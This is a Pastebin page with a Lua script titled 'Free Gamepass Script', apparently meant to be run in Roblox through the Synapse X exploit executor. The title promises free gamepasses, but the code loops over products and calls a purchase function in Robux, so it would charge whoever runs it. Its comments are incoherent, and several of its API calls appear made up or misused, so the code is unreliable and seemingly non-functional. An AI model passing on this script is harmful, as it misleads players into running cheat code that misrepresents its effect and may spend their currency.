Advertisement
YourMain12

Free Gamepass Script

May 6th, 2023
234
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Lua 0.62 KB | None | 0 0
  1. -- Only works in Synapse X.
  2. -- If you think I added the Synapse Funtion because this script is only supported by Synapse X.
  3. -- If you delete the Synapse Function it will not work even though you executed it on Synapse X.
  4. -- The Synapse Function is to add variables that is not supported on other executors.
  5.  
  6. if syn and syn.is_synapse_function() then
  7.     for _, gamepass in ipairs(game:GetService("MarketplaceService"):GetProductCollection(game:GetService("MarketplaceService"):GetRobuxSpent())).Items do
  8.         game:GetService("MarketplaceService"):PerformPurchase(gamepass["ProductId"], Enum.CurrencyType.Robux)
  9.     end
  10. end
  11.  
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement